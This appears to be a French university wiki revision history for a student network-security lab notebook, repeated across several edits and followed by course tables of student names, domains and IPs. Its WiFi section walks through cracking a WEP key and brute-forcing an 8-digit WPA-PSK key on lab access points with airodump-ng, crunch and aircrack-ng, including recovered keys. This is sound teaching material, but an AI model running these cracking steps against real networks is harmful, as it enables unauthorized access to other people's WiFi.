==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Fichier:Mon site web.png

2026-02-10T21:53:14Z

Tmerien :

Capture d'écran du site web tompere2.xyz

Atelier SysRes SE4 2025/2026 E10

2026-02-10T21:33:57Z

Tmerien : /* DNS/DNSSEC */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

==== Configuration de bind9 ====
Pour avoir accès au serveur DNS il faut mettre a jour le fichier '''/etc/resolv.conf''' en ajoutant les lignes comme suit :

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T21:33:37Z

Tmerien : /* Serveur Apache */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

'''.key''' : la clé privée du domaine

'''.csr''' : la demande de signature du certificat

==== Configuration de bind9 ====
Pour avoir accès au serveur DNS il faut mettre a jour le fichier '''/etc/resolv.conf''' en ajoutant les lignes comme suit :

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T17:54:31Z

Tmerien : /* Cassage de la clef WEP */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

== Serveur Apache ==

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T17:19:43Z

Tmerien : /* Effraction WiFi */

Atelier SysRes SE4 2025/2026 E10

2026-02-10T16:32:46Z

Tmerien : Page créée avec « == Machines virtuelles == == Configuration réseau == == DNS/DNSSEC == == Serveur Apache == == Fail2Ban == == Effraction WiFi == == Sécurisation et accès WiFi par WPA2-EAP == »

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

== Serveur Apache ==

== Fail2Ban ==

== Effraction WiFi ==

== Sécurisation et accès WiFi par WPA2-EAP ==

SE4 IdO sécurité système/réseau 2025/2026

2026-01-26T10:24:54Z

Tmerien : /* Répartition des binômes pour les travaux pratiques "administration système et réseau" */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinux.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || || SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || || SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 ||
|-
| Routeur C9200-E306 ||
|-
| Borne Wi-Fi E304 ||
|-
| Borne Wi-Fi E306 ||
|-
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

SE4 IdO sécurité système/réseau 2025/2026

2026-01-20T13:17:17Z

Tmerien :

SE4 IdO sécurité système/réseau 2025/2026

2026-01-20T13:15:57Z

Tmerien :

SE4 construction de réseau 2025/2026

2025-10-08T12:00:39Z

Tmerien : /* Promotion SE4_SI */

__TOC__

= Avancement des élèves sur le TP de construction réseau pour 2025/2026 =

== Promotion SE4_SI ==

{| class="wikitable"
! N° réseau !! N° tiroir !! Elèves || Machines
|-
| Groupe 1 || G1 || Mario Sylainx S. GAUTHIER || reuze01, bimberlot01
|-
| Groupe 2 || G2 || Prénom NOM || reuze02, bimberlot02
|-
| Groupe 3 || G3 || Prénom NOM || reuze03, bimberlot03
|-
| Groupe 4 || G4 || Aurèle VANGHELUWE || reuze04, bimberlot04
|-
| Groupe 5 || G5 || Prénom NOM || reuze05, bimberlot05
|-
| Groupe 6 || G6 || Evora Souop || reuze06, bimberlot06
|-
| Groupe 7 || G7 || Cédric PAYET || reuze11, bimberlot11
|-
| Groupe 8 || G8 || Agathe HOUDUSSE || reuze12, bimberlot12
|-
| Groupe 9 || G9 || Tom MERIEN || reuze13, bimberlot13
|-
| Groupe 10 || G10 || Lilia GHAZALI || reuze14, bimberlot14
|-
| Groupe 11 || G11 || Prénom NOM || reuze15, bimberlot15
|-
| Groupe 12 || G12 || Prénom NOM || reuze16, bimberlot16
|-
|}

{| class="wikitable"
! Etape !! Vérification par l'intervenant
|-
| Commutation même VLAN filaire ||
|-
| Accès <code>ssh</code> au routeur ||
|-
| Routage entre VLAN filaires ||
|-
| Visibilité des réseaux WiFi (test smartphone) ||
|-
| Fonctionnement du serveur DHCP (test smartphone) ||
|-
| Routage entre VLAN WiFi et filaires ||
|-
| Routage inter-réseaux ||
|-
| Routage Internet méthode 1 ||
|-
| Routage Internet méthode 2 ||
|-
| Routage Internet méthode 3 ||
|-
| Reniflage réseau HTTP/HTTPS telnet/SSH||
|-
| Manipulation des protocoles HTTP et SMTP ||
|}